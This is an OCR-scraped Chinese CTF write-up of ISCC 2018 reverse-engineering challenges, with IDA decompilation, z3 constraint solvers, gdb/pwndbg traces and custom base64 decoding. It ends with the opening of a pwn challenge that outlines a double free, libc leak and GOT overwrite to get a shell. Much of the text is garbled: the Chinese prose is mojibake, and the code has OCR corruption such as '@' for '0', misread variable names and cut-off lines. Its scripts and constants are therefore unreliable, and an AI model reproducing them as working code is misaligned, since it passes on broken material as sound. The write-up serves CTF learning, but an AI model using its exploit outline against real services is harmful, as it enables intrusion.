https://github.com/M4xW4n9/reverse_repo/tree/master/ISCC2018_re150
https://blog.csdn.net/asanscape/article/details/38752655
https://blog.csdn.net/asanscape/article/details/38752655

P -

Snippet list Please enter script body
Mame for i in xrange(9x401000, 0x404000): b
| #® Default snippet * if Byte(i) == Oxcc:

PatchByte(i, 0x20)

print "Finish!™

| | o

Line:5  Column:1e

Scripting language |Python 'I Tab size |4 'I

ot

Export Import

[master@® ./leftleftrightright.exe

0039: fixme:msvcp:_Locinfo_ Locinfo_ctor_cat_cstr (0x32fcbc 1 C) semi-stub -~
Flag{this_was_simple_isnt_it}

0039: fixme:msvcp:_Locinfo_ Locinfo_ctor_cat_cstr (0x32fd1c 1 C) semi-stub

i i . *_‘-‘-‘-‘-‘-‘—n—n.
flag is right!
EREERMS. . T
[master@@ |

My math is bad(150)

L H i1 1think the math problem is too difficult for me.

55— IR Fmath problemf i {5 gl CL 2 SR ER 8 H 23 7, 35 Sk B S48 1k 2333
NERUT SO R R IR 64N [ elf, 2 i (1) 56 UE 2R 1 8 H

Desktop file Reverse

Reverse: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /1ib64/1d-1lin
Desktop ./Reverse

= Welcome to the flag access machine! =
= Input the password to login ...

ddaaadaaaaaa

Wrong password!

f 2 IDARL,FSRTLAE i sub_400766() 35 k4 N 1 ek 2, 48 P — T~ HACHS i


https://blog.csdn.net/asanscape/article/details/38752655
https://blog.csdn.net/asanscape/article/details/38752655

signed _ int64 sub_400766()

{
signed __int64 result; // rax
__inte4 v1; // ST40_8
__inte4 v2; // ST48_8
__int64 vi6; // [rsp+20h] [rbp-66h]
__int64 v20; // [rsp+28h] [rbp-58h]
__int64 v24; // [rsp+36h] [rbp-56h]
__inté4 v28; // [rsp+38h] [rbp-48h]
__int64 v7; // [rsp+56h] [rbp-306h]
__int64 v8; // [rsp+58h] [rbp-28h]
__int64 v9; // [rsp+6@h] [rbp-20h]
__int64 v1@; // [rsp+68h] [rbp-18h]
__int64 v11; // [rsp+706h] [rbp-10h]
__int64 v12; // [rsp+78h] [rbp-8h]

if ( strlen(s) != 32 )
return OLL;

vl6 = *&s[16];

v20 = *&s[20];

v24 = *&s[24];

v28 = *&s[28];

if ( *&s[4] * *s - *&s[12] * *&s[8] != 2652042832920173142LL )
goto LABEL_15;

if ( 3LL * *&s[8] + 4LL * *&s[12] - *&s[4] - 2LL * *s l= 397958918 )
goto LABEL_15;

if (3 * *s * *gs[12] - *&s[8] * *&s[4] != 3345692380376715070LL )
goto LABEL_15;

if ( 27LL * *&s[4] + *s - 11LL * *&s[12] - *&s[8] != 40179413815LL )
goto LABEL_15;

srand(*&s[8] ~ *&s[4] ~ *s ~ *&s[12]);

vl = rand() % 50;

v2 = rand() % 50;

v7 = rand() % 50;

v8 = rand() % 50;

v9 = rand() % 50;

v10 = rand() % 590;

vll = rand() % 590;

vl2 = rand() % 590;

if (v28 * v2 + v16 * vl - v20 - v24 = 61799700179LL
|| v28 + v16 + v24 * v8 - v20 * v7 |= 48753725643LL
|| vie * v9 + v2@ * vie - v24 - v28 != 59322698861LL
|| v24 * v12 + v16 - v20 - v28 * v11l != 51664230587LL )

{

LABEL_15:

result

}

else

{

result

}

return result;

OLL;

1LL;



—Ubtricks:

o HJuRLUE HissE32ffchardi iy fEs by— T B AR &I Jychar s[32], H 5, —Lbil A\ Sk K )4 a8 & Hi g K0

>

|
HSHITCE |

o f7%8 hide casts, it CHD L MAICEAL T

o NEMLZTE AT

o UIEAHAE LML vI6 = *&S[16];21E A I Th RS, T LR — T Puis i

ICHRAR f] 5, e i A\ A2 75 9 324 717 AR A BV A 3 A B AR B L X X AR AT I e, 4 B I I Rl Y Aif
FWr A2 srand KR 5 At B € 1, R 2 BENLEN AL s s BEE B 1, DL 3RATTRT LS RART DU M 2 HOR A,
H VYA FRRE— 2B SR T AR B AR, 2R B i flag (R BT e 12 Z3 MR AR 2 HOR AN I — 4, T DLE i A &
KAy intGAHERRIATT & AU, S & AU W R

Desktop cat iscc_rel50.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from z3 import *

from libnum import n2s

import ctypes

from os import system

# dll = ctypes.CDLL("/1ib/x86_64-1linux-gnu/libc.so.6")

v1l6 = BitVec('vle', 64)
v20 = BitVec('v20', 64)
v24 = BitVec('v24', 64)
v28 = BitVec('v28', 64)
vO = BitVec('ve', 64)
v4 = BitVec('v4d', 64)
vl2 = BitVec('vl2', 64)
v8 = BitVec('v8', 64)

H OH OH O OH OB OH OH

= Solver()

.add(v4 * vo - v12 * v8 == 2652042832920173142)
.add(3 * v8 + 4 * v12 - v4 - 2 * v@ == 397958918)
.add(3 * v@ * v12 - v8 * v4 == 3345692380376715070)
.add(27 * v4 + v@ - 11 * v12 - v8 == 40179413815)

H H OH K H
n o nu nu u n

# while s.check() == sat:
# print s.model()
# s.add(Or(s.model()[ve] != v@, s.model()[v4] != v4, s.model()[v8] != v8, s.model()[vi2] != v12))

v4 = 1801073242

vO = 1869639009

v8 = 829124174

v12 = 862734414
v4 = 17606925155252157204
v8 = 18136882180941875262
vO = 99182790156815694

v12 = 4683719103566694143
dll.srand(v8 ~ v4 ~ vO * v12)
vl = dll.rand() % 50;

v?) — A11 randl/\N ¥ RO

FoH O OH OH O OH
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Ve = uUdderdiiuy ) 0 vy

v7 = dll.rand() % 50;
v8 = dll.rand() % 50;
v9 = dll.rand() % 50;

v1e = dll.rand() % 50;

H OH OH ¥ OH OH

vll = dll.rand() % 50;
v12 = dll.rand() % 50;
# s.add(v28 * v2 + v16 * vl - v20 - v24 == 61799700179)
# s.add(v28 + v16 + v24 * v8 - v20 * v7 == 48753725643)
# s.add(vle * v9 + v20 * v1@ - v24 - v28 == 59322698861)
# s.add(v24 * v12 + v16 - v20 - v28 * vl1l == 51664230587 )

# while s.check() == sat:
# print s.model()
# s.add(Or(s.model()[v16] != v16, s.model()[v20] != v20, s.model()[v24] != v24, s.model()[v28] != v28)

# [vle = 811816014,

# V20 = 9223372037683369038,
# v24 = 1867395930,

# v28 = 9223372038050563937]
vl6e = 811816014

v20 = 828593230

v24 = 1867395930

v28 = 1195788129

# [vl6e = 9223372037666591822,
# V20 = 4611686019255981134,
# v24 = 9223372038722171738,
# v28 = 4611686019623176033]

# [vl6 = 9223372037666591822,
# Vv20 = 13835058056110756942,
# v24 = 9223372038722171738,
# v28 = 13835058056477951841]

1 =[vo, v4, v8, v12, vi6, v20, v24, v28]
flag = ""
for i in 1:

flag += n2s(i)[::-1]

print flag

system("echo {}| ./Reverse".format(flag))
# flag{th3_Line@r_4lgebra_1s_difficult!}

X R ET LN (00 9)) N
obfuscation and encode (250)

ﬁ@“‘:



IDAFT I J5 B A\ 2 id fencode 5 encode # 4™ 5 4 2 5 5 IUFBUT7hADVItXEGN 7Kg TEjqw8U5VQU(q Lt
B, FEZERIT], & Hifencode Sencode W%k, IDAfT Hifencodersi$t, BE VAR KR IIARIREL, Bt
CAMRE| T —2ollvmifikis, (EAHE, 410 %fencodefi %, KA P TE EEE:

® 38 while ( v11 == @x8062CB11 )
39 {
® 40 +HV12;
® 41 output[vi2] = (char)vi2 % 127;
® 42 v1l = Bx2506EBDE;
43 }
- ; P
® 73 if ( v11 != OX6FES54E )
® 74 break;
® 75 v12 += input[4 * v11 + v11] * m[4 * vi1 + vi1]; |
® 76 v1ll = ©x9DD488F1;
—-= a
—Ltricks:

o yikEfencode s 347 Avoid __ fastcall fencode(const char *input, char *output) fJ LA ff input 5 outputd?) 7 4 £ (1)1
U BUAE D AR

o N TEAMFENRAALE, WUERRNE A= ibEEmap| g e F, KFEAREMASREL (HHEEER
AR A2 B BEmap)



HAX WAL FEXFoutputr=A=52m, IDAH 458, Copy to assembly, ZFH I Jw:

.text:000000000Q4POBFO ; ---- === - - - e e e e e e—eme——e------
.text:00000000004008F0 ; 40: output[vi2] = (char)vi2 % 127;
.text:00000000004008F0
.text :00000000004008F0 loc_4008F0: ; CODE XREF: fencode+3F1j
.text:00000000004008F0 mov eax, 7Fh
.text:00600000004008F5 mov ecx, [rbp+var_30]
.text:00000000004008F8 mov dl, cl
.text:00000000004008FA movsx  ecx, dl
.text :00000000004008FD mov [rbp+var_8@], eax
.text:0000000000400900 mov eax, ecx
.text :0000000000400902 cdq
.text:60660000000400903 mov ecx, [rbp+var_86]
.text:0000000000400908 mov sil, dl
.text:000000000040090B ; 39: ++v12;
d e L AAAAAAAAAAAAAAAT ———a P Pl iccae AAT
.text:080000800B4008BO . ; - - - - oo oo
.text :0000000000400894 ; 74: v12 += input[4 * v11 + v11] * m[4 * v1l + v11];
.text:0000000000400894
.text :0000000000400894 loc_400894: ; CODE XREF: fencode+D91j
.text:0000000000400894 mov rax, offset m
.text :000006000046089E movsxd rcx, [rbp+var_2C]
.text :00000000004008A2 shl rcx, 4
.text :00000000004008A6 add rax, rcx
.text:00000000004008A9 movsxd rcx, [rbp+var_34]
.text:00000000004008AD mov edx, [rax+rcx*4]
.text:00000000004008B0 mov rax, [rbp+s]
.text:00000000004008B4 mov esi, [rbp+var_34]
.text :00000000004008B7 mov edi, [rbp+var_ 28]
.text :00000000004008BA shl edi, 2
.text:00000000004008BD add esi, edi
.text :00000000004008BF movsxd rcx, esi
.text :00000000004008C2 movsx esi, byte ptr [rax+rcx]
Ltext:
.text :00000000004008C9 add edx, [rbp+var_3@]
.text :000006000004608CC mov [rbp+var_38], edx
.text:00000000004008CF ; 75: vll = 8x9DD488F1;

AN, REFEidiviS&Heax, ecx#(FesfE, imul—HaJi & FHedx, esidyFasEEN T, v IHiRES
T —/~gdbJEIA T {53 A

ISCC2018_re250 [masteree] cat payload
0123456789abcdefghijklmn

ISCC2018_re250 [masteree] cat gdbscript
b *0x4008c6

b *0x400906

r < ./payload

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

T T T o S T A o S N o Y e W SRR Ry 'R

edy eci epav ery

-
3



]

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

r edx esi eax ecx

H A H A H A A H A H AR A HAHRFEOAAROAOHRAMOIHREOMODIEREOHHRAOIHROA F O

r edx esi eax ecx

ISCC2018_re250 [masteree] gdb ./re -q

pwndbg: loaded 165 commands. Type pwndbg [filter] for a list.

pwndbg: created $rebase, $ida gdb functions (can be used with print/break)

Reading symbols from ./re...BFD: /home/m4x/reverse_repo/ISCC2018 re250/re: invalid string offset 2425393296
(no debugging symbols found)...done.

pwndbg> source gdbscript

Breakpoint 1 at 0x4008c6

Breakpoint 2 at 0x400906

Breakpoint 1, ©x00000000004008c6 in fencode ()

edx ox2 2
esi 0x30 48
eax oxffffdfeo -8224
ecx ox0 ©

Breakpoint 1, ©x00000000004008c6 in fencode ()

edx ox2 2
esi ox31 49
eax oxffffdfeo -8224
ecx ox1 1

Breakpoint 1, ©x00000000004008c6 in fencode ()

edx ox4 4
esi 0x32 50
eax oxffffdfeo -8224

ecx ox2 2



Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax

Arv

0x00000000004008c6 in
oxfffffffb -5

0x33 51
oxffffdfeo
ox3 3

-8224

0x0000000000400906 in

OxFFFFFFFF -1
ex33 51
oxfFFFFfBb  -117
ox7f 127

0x00000000004008c6 in
ox1 1
0x30 48
oxffffdfeo
ox0 0

-8224

0x00000000004008c6 in
ox1 1
0x31 49
oxffffdfeo
ox1 1

-8224

0Xx0000000PRR4008C6 in
ox3 3
0x32 50
oxffffdfeo
ox2 2

-8224

0x00000000004008c6 in

OxFFFFFFFd -3
ex33 51

oxffffdfed  -8224
ex3 3

0x0000000000400906 in
ox0 ©

ox33 51

Ox5e 94

ox7f 127

0x00000000004008c6 in

OXFFFFFFFE -1
ox30 48
oxffffdfeo  -8224
ox0 @

0x00000000004008c6 in

exffffffe -2
@x31 49
exffffdfeo  -8224
ex1 1

0x00000000004008c6 in

exFFFFFFFd -3
ex32 50
exffffdfeo  -8224

[21V0] el

fencode

fencode

fencode

fencode

fencode

fencode

fencode

fencode

fencode

fencode

0

)

0

0

0

0

@)

@)

@)

O



TUA

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax
ecx

Breakpoint
edx
esi
eax

UAL <

0x00000000004008c6 in
ox4 4
0x33 51
oxffffdfeo
ox3 3

-8224

0x0000000000400906 in

OxFFFFFFFF -1
ex33 51
exffffffad  -92
ox7f 127

0x00000000004008c6 in

OxFFFFFFFF -1
0x30 48
oxffffdfeo  -8224
ox0 @

0x00000000004008c6 in
ox0 ©
0x31 49
oxffffdfeo
ox1 1

-8224

0x00000000004008c6 in

oxfffffffe -2
0x32 50

oxffffdfeo -8224
ox2 2

0x00000000004008c6 in
ox2 2
0x33 51
oxffffdfeo
ox3 3

-8224

0x0000000000400906 in

OXFFFFFFFE -1
ex33 51
oxFFFFFfd2  -46
ox7f 127

0x00000000004008c6 in
ox2 2
0x34 52
oxffffdfeo
ox4 4

-8224

0x00000000004008c6 in
ox2 2
0x35 53
oxffffdfeo
ox5 5

-8224

0x00000000004008c6 in
ox4 4
0x36 54

oxffffdfeo -8224

fencode

fencode

fencode

fencode

fencode

fencode

fencode

fencode

fencode

fencode

)

)

0

0

0

0

@)

O

@)

O



ecx Ox6 6

Breakpoint 1, 0x00000000004008c6 in fencode ()

edx oxfffffffb -5
esi 0x37 55

eax oxffffdfeo -8224
ecx ox7 7

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[ REGISTERS ]
RAX Ox7fffffffdfed «— 0Ox3736353433323130 ('01234567')

RBX ©x0

*RCX Ox7

*RDX Oxfffffffb

RDI ©ox4

*RSI ©Ox37

R8 ox4

R9 0x3

R10 ©x309

R11 Ox7ffff7aba620 (strlen) «— pxor  xmm@, xmmo

R12 ©0x400540 (_start) <« xor ebp, ebp

R13 ox7fffffffel30 <«— ox1

R14 ©0x0

R15 ©x0

RBP Ox7fffffffdd70 — ox7fffffffed50 — 0x400f80 (__ libc_csu_init) <«— push ris
RSP ox7fffffffdcfo «— ox7f

RIP 0x4008c6 (fencode+646) <«— imul  edx, esi

[ DISASM ]
» 0x4008c6 <fencode+646> imul  edx, esi
0x4008c9 <fencode+649> add edx, dword ptr [rbp - 0x30]
0x4008cc <fencode+652> mov dword ptr [rbp - 0x30], edx
0x4008cf <fencode+655> mov dword ptr [rbp - 0x38], 0x9dd488f1
0x4008d6 <fencode+662> jmp fencode+837 <0x400985>

l
0x400985 <fencode+837> jmp fencode+46 <0x40066e>
l
0x40066e <fencode+46> mov eax, dword ptr [rbp - 0x38]
0x400671 <fencode+49> mov ecx, eax
0x400673 <fencode+51> sub ecx, 0x8062cbll
0x400679 <fencode+57> mov dword ptr [rbp - ©x3c], eax
0x40067c <fencode+60> mov dword ptr [rbp - 0x40], ecx
[ STACK ]
00:0000| rsp Ox7FFFFfffdcfo «— ox7f
01:0008 | Ox7FFFFFFfdcf8 «— @x17d7ac49
02:0010| Ox7fffffffddee «— 0x11a641770d02b5ce
03:0018| Ox7FFFFFffddes «— @x2f898fba1lbb32d79
04:0020| ox7fffffffdd1e «— ©x32c3f3ba
05:0028| Ox7fffffffdd18 «— 0x4870988c47f61166
06:0030| ox7fffffffdd20 «— 0x70828a986929cc5d
07:0038| Ox7fffffffdd28 «— 0x82e883408157c147
[ BACKTRACE ]
» £ 0 4008c6 fencode+646
f1 400eb5 main+229
f 2 7ffff7a5a2bl _ libc_start_main+241
Breakpoint *@x4008c6
pwndbg>

XA 2] 1 %N\ 90123456789abcedefghijkimninf () ab FEd 12, RTLAE t, xF FRATHMA, &I —
HEmIBET 1 RBURMI A (REREATHRIT B JRILREA) |, 2R)5%127H Jyoutput i) 45 2R



FXtencode i E AT 404, H LA AR TV nT LA H Hiencode i 2 1 E H 24l T-baseb4, tableRl) yFE 1
ALPHA BASE (] LA i P 36— F)

V9 = v22;

v1e = v22 + 1;

output[v9] = ALPHA BASE[(v20 >> 2) & Ox3F];
vl1ll = v10++;

output[v1l] = ALPHA_BASE[(((v2@ & @OxFF) >> 4) | 16 * v20) & @x3F];
output[v1e] = ALPHA_BASE[(((v2@ & @OxFF) >> 6) | 4 * v20) & Ox3F];
vl2 = v10 + 1;
v22 = v10 + 2;

output[vi2] = ALPHA_BASE[v2@ & OX3F];

X, BAREFPRRAEMIER T

1. A — R4 5478 (K ‘L\mJLAH T 5 TR PR 5 )
NI 74T B el S mafe SR A AR ) 9ﬁ4:base64LJ Kb PR
3. AbBRAEE RS 45 E B AT A [F B R

FKbase64 /¢ Al i), IMTM%MQEM?ﬁ$%%w%M IR X K base64 i 45 JFHE — AN U T s RE
BPA], LR EE, H—RMNEUERN= =, (127 - 32) MR WA K, BREE, K100 4 5tae 45
%,E%k%%ﬁ%%,ﬁ%ﬁhﬁ0$%ﬂu$%%,%ﬁﬁﬁﬁ%%%ﬁ%ﬁﬁ?@?

ISCC2018_re250 [masteree] cat solve.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-

__Auther__ = "M4x'

from z3 import *

from libnum import s2n

from itertools import permutations
from ctypes import c_int32

table = '''FeVYKw6a@1lDIOSnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+\x00" "

def decodeBase64(src):
delPaddingTail = {@: @, 2: 4, 1: 2}
value = "'

n = src.count('=")

sin = src[:len(src) - n]

for ¢ in sin:
value += bin(table.find(c))[2:].zfill(6)

value = value[:len(value) - delPaddingTail[n]]

# print value

middle = []

for i in range(8, len(value) + 1, 8):
middle.append(int(value[i-8:i], 2))

output = middle

out = hex(s2n(''.join(map(chr, output))))[2: -1]

# print out

return out

m=[ 2, 2, 4, 4294967291, 1, 1, 3, 4294967293, 4294967295, 4294967294, 4294967293, 4, 4294967295, 0, 4294

# m = [c_int32(i).value for i in m]
# print m



f0 = lambda x: int(x, 16)
f1 = lambda x1, x2, x3, x4: (x1 * m[@] + x2 * m[1] + x3 * m[2] + x4 * m[3]) & Oxff
f2 = lambda x1, x2, x3, x4: (x1 * m[4] + x2 * m[5] + x3 * m[6] + x4 * m[7]) & Oxff

f3 = lambda x1, x2, x3, x4: (x1 * m[8] + x2 * m[9] + x3 * m[10] + x4 * m[11]) & oOxff
f4 = lambda x1, x2, x3, x4: (x1 * m[12] + x2 * m[13] + x3 * m[14] + x4 * m[15]) & oOxff
crypto = "' '1UFBuUT7hADVItXEGNn7KgTEjqw8U5VQUq" " "

key = decodeBase64(crypto)

key = [fo(key[i: i + 2]) for i in range(©@, len(key), 2)]
# key = [key[i: i + 4] for i in range(©@, len(key), 4)]
# print key

s = Solver()
res = [BitVec(str(i), 16) for i in xrange(24)]
for i in res:

s.add(And(i > @, i < 256))

for i in xrange(6):
s.add(f1l(res[4 * i + O], res[4 * 1 + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 9])
s.add(f2(res[4 * i + 0], res[4 * 1 + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 1])
s.add(f3(res[4 * i + 0], res[4 * 1 + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 2])
s.add(f4(res[4 * i + O], res[4 * i + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 3])
while s.check() == sat:

print s.model()

flag = ""
for i in xrange(24):
flag += chr(s.model()[res[i]].as_long() & Oxff)

print flag
s.add(res[0@] != s.model()[res[0]])

else:
print "Finish"

# print flag
# flag = []

# dic = range(32, 127)[::-1]
# for a in dic:
# for b in dic:
# for c in dic:
# for d in dic:
# if [fi(a, b, ¢, d), f2(a, b, c, d), f3(a, b, ¢, d), f4(a, b, c, d)] in key:
# flag.append("".join(map(chr, (a, b, c, d))))

# if len(flag) == 6:

All = permutations(flag)

# print All

# for x, y, z, r, s, t in All:

H*

# t=xXx+y+z+r+s+t

# if t.startswith("flag{") and t.endswith("}"):
# print t

exit()

flag{dO_yoU_KNoW_©IlVm?}

H*



) Mflag i SRR L ollvmiid i

B SEERIRE &, R

fi#z —( Author: L1B0 ):

B A BT mainf E T LA H, SN FRF B 2 id fencode fllencode B VX I J& 5 7 4F
#: IUFBUT7hADVIXEGn7KgTEjqw8U5VQUQq Ht4e, HIZER) F .

WEAR 210 1A 34T ] Mencode b £ A 2 «

encode% $

Ciu — we s oy
®¥( BYTE *){a3 + v3) = ALPHA BASE[(v21 »>> 2} & 0x3F];
v1l = v184+;
®(_BYTE *){a3 + v11)
¥(_BYTE *){a3 + v1B)
viz = vi16 + 1;
v23 = vl18 + 3;
¥(_BYTE *)({a2 + v12) = ALPHA BASE[v17 & Ox3F];
vl9 = -88382925@;

ALPHA_BASE[ (((v20 & @xFF) >> 4) | 16 * v21) & Ox3F];
ALPHA_BASE[ (((v17 & @xFF) >> 6) | 4 * v20) & 0x3F];

ARSI B, FRATTFE A E FR R T E AT I VO,v10,v11,vI2FIv17,v20,v2 1 FIME, TR 2 Hencode ik 1
ARSI K B s AT i, A LR E i E A E ] printfi th, AR T LI H .

RA RSN EREI T



//v17 = al[v8] v20 = al[v6] v21 = al[v5]

//v23Bl a3 1 T AR

v5 = @

ve =1

v8 = 2

v23 = 0

vO = 0 vll =1 vl = 2 v12 = 3

v5 = 3

V6 = 4

v8 = 5

v23 = 4

vO =4 vll =5 v10 = 6 vl2 = 7

v5 = 6

v6 = 7

v8 = 8

v23 = 8

v9 = 8 vll = 9 vl0e = 10 v12 = 11
v5 =9

v6 = 10

v8 = 11

v23 = 12

v9 = 12 v11 = 13 v10 = 14 v12 = 15
v5 = 12

v6 = 13

v8 = 14

v23 = 16

v9 = 16 v11l = 17 v10 = 18 v12 = 19
v5 = 15

v6 = 16

v8 = 17

v23 = 20

v9 = 20 v11 = 21 v10 = 22 v12 = 23
v5 = 18

v6 = 19

v8 = 20

v23 = 24

v9 = 24 v11 = 25 v10 = 26 v12 = 27
v5 = 21

v6 = 22

v8 = 23

v23 = 28

v9 = 28 vl11l = 29 v10 = 30 v12 = 31

W EEF R REETE S, SRatf = MEgn — 220 E yALPHA BASER) T45, 13 2IP0MEIRZ5a3,
i J5a3MIUFBUT7hADVItXEGn7KgTEjqw8USVQUQlL 4L, 54 AT LLAE = A — 43 a1 18

decodefliAun T



from z3 import *

ALPHA_BASE = 'FeVYKw6a@1DIOSnZQSEAf2MvjS1GUiLWPTtH4IqRgu3dbC8hrcNo9/mxzpXBky7+"
s1 = '1UFBUT7hADVItXEGn7KgTEjqwsU5VQUq'
#print len(sl)
xiabiao = []
for i in si:
for j in range(len(ALPHA_BASE)):
if i == ALPHA BASE[j]:
xiabiao.append(j)

print xiabiao

#v21 = v6[0] v20 = v6[1] Vv17 = v6[2]
#v6 = [37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 4@, 133, 38, 38, 22, 231, 17, 9,

def decode():
vé = []
X = BitVec('x',16)
y = BitVec('y',16)
z = BitVec('z',16)
for i in range(8):
s = Solver()
s.add( And( x > 9, x < 256, ¥y > 0, y < 256, z > 9, z < 256 ) )
s.add( And( ((x>> 2) & Ox3F) == xiabiao[i*4] , ((((y & OxFF) >> 4) | 16 * x) & 0Ox3F) == xiabiao[i
if s.check() == sat:
print s.model()
v6.append(s.model()[x].as_long())
v6.append(s.model()[y].as_long())

v6.append(s.model()[z].as_long())

else:
print ‘fail’

print(len(v6),v6)
return v6

v6 = decode()
print vé

BRI IVEE T IERFATAT UL it encode si E 6 3E — &%, S EIKIve Nz 4t B~

with return value 0
continue

H -4 encodepf i £ 2831 7] 5E K

fencodei %



Mencoderd H I AL P E—FE, FFSMRRIMMAIGH O —ilg, SR | RENE, AMBEMREZE, &7

VIESEINECR NS ¢TI

'-...
| e AL
\\ e

-

!\.

al

*-u\.\
N

#il: a2[0] = (a1[0]*m[0]+...+a1[3]"m[3])%127
a2[1] = (a1[0]*m[4]+...+a1[3]'m[7])%127
a2[2] = (a1[0]*m[8]+...+a1[3'm[11])%127

a2[3] = (a1[0]*m[12]+...+a1[3'm[15])%127

Hral 2 R511, mEan, a2utZencoders$ive, 1 %0,
M ETEIBANE R LAE S, a1 I9AME 7] LM, a4l m— MU c— R T FE, FZz3 0] DLR PRg !
BAMEA LT

#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"

from z3 import *

ALPHA_BASE = 'FeVYKw6a@lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+"
sl = '1UFBuUT7hADVItXEGn7KgTEjqw8U5VQUq'
#print len(sl)
xiabiao = []
for i in s1:
for j in range(len(ALPHA_BASE)):
if i == ALPHA BASE[j]:
xiabiao.append(j)

print xiabiao

#v21 = v6[0] v20 = v6[1] v17 = v6[2]
#v6 = [37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9,

def decode():

ve = []



X = BitVec('x',16)
y = BitVec('y',16)
z = BitVec('z',16)

for i in range(8):
s = Solver()
s.add( And( x > @, x < 256, ¥y > 0, y < 256, z > 9@, z < 256 ) )
s.add( And( ((x>> 2) & @x3F) == xiabiao[i*4] , ((((y & OxFF) >> 4) | 16 * x) & Ox3F) == xiabiao[i

if s.check() == sat:
print s.model()
v6.append(s.model()[x].as_long())
v6.append(s.model()[y].as_long())
v6.append(s.model()[z].as_long())

else:
print 'fail’

print(len(vé6),v6)
return v6

def fdecode():

=[]

= BitVec('x',64)
BitVec('y',64)
= BitVec('z',64)
= BitVec('w',64)

= N K X o
I

for i in range(6):

wn

= Solver()

s.add( And( x > @, x < 128, ¥y > 0, y < 128, z > 9, z < 128, w > 0, w < 128) )
s.add( (x*m[@] + y*m[1] + z*m[2] + w*m[3])%256 == v6[i*4] )

s.add( (x*m[4] + y*m[5] + z*m[6] + w*m[7])%256 == v6[i*4+1] )

s.add( (x*m[8] + y*m[9] + z*m[10] + w*m[11])%256 == v6[i*4+2] )

s.add( (x*m[12] + y*m[13] + z*m[14] + w*m[15])%256 == v6[i*4+3] )

if s.check() == sat:

print s.model()

a.append(s.model()[x].as_long())

a.append(s.model()[y].as_long())

a.append(s.model()[z].as_long())
a

.append(s.model()[w].as_long())

else:
print 'fail’

return a

v6 = decode()



m = [@x2,0x2,0x4,0xFFFFFFFB,0x1,0x1,0x3,0x0FFFFFFFD,@xOFFFFFFFF,0xOFFFFFFFE,@xOFFFFFFFD,0x4,0xOFFFFFFFF, 0
a = fdecode()

#a = [102, 108, 97, 103, 123, 100, 79, 95, 121, 48, 85, 95, 75, 78, 111, 87, 95, 48, 73, 108, 86, 109, 63
#print a

flag = [ chr(i) for i in a ]

print ''.join(flag)
#flag{dO_yo@U_KNoW_OI1lVm?}

Pwn( Author: M4x )

Write some paper(200)

B4 BB MR Y % I A PIEFIRELROSRY kA gotaR bk 2 [F e 1) H T 5, 0 W F2 7 5, K Bl free s H
X R R T B, /7 7Edouble free I, I H AR 7 B FRAT T AT #2 (14 e 5 bt A Rgleak libe T B ek R A
overwrite gotix — &% 1] 7 1, Rt R I 1 - 7EQg Rk 2 nT DL B #2get shell, (A 6 8 2% /2 78 /5 > got iy gg ity ik
T, BANHRE — T ot & %A A& i size

double freef] JEFEA] LLFE iX P slide

AR R A BT R T, R got bl A 42 H st bk
pwndbg> telescope 0x602000 20
00:0000| ©x602000 (_GLOBAL_OFFSET_TABLE_) — 0x601e28 (_DYNAMIC) <«— 0x1
01:0008| 0x602008 (_GLOBAL_OFFSET_TABLE_+8) — 0x7f5fa%77170 «— 0x0
02:0010| 0x602010 (_GLOBAL_OFFSET_TABLE_+16) — 0x7f5fa9c67ca® (_dl_runtime_resolve_avx_slow) <«— vorpd vy
03:0018| 0x602018 (free@got.plt) — Ox7f5fa992ed4ed (free) <«— mov rax, gqword ptr [rip + ©x31dall]
04:0020 | 0x602020 (puts@got.plt) —» Ox7f5fa991bf60 (puts) «— push ri3
05:0028| 0x602028 (fread@got.plt) — Ox7f5fa991aald (fread) «— push ri3
06:0030 | 0x602030 (__stack_chk_fail@got.plt) — 0x400746 (__stack_chk_fail@plt+6) «— push 3
07:0038| 0x602038 (system@got.plt) —» 0x400756 (system@plt+6) <«— push 4
08:0040 | 0x602040 (printf@got.plt) — Ox7f5fa9902160 (printf) <«— sub rsp, 0xds
09:0048| 0x602048 (__libc_start_main@got.plt) —» Ox7f5fa98d31c@® (__libc_start_main) <«— push ri4
ea:0050| 0x602050 (__gmon_start__@got.plt) — 0x400786 (__gmon_start__@plt+6) <«— push 7
eb:0058| 0x602058 (strtol@got.plt) — Ox7f5fa98e9c40 (strtoq) <«— mov rax, gqword ptr [rip + 0x362189]
ec:0060| 0x602060 (malloc@got.plt) — Ox7f5fa992deed® (malloc) <«— push rbp
0d:0068| 0x602068 (setvbuf@got.plt) —» Ox7f5fa991c720 (setvbuf) «— push ri3
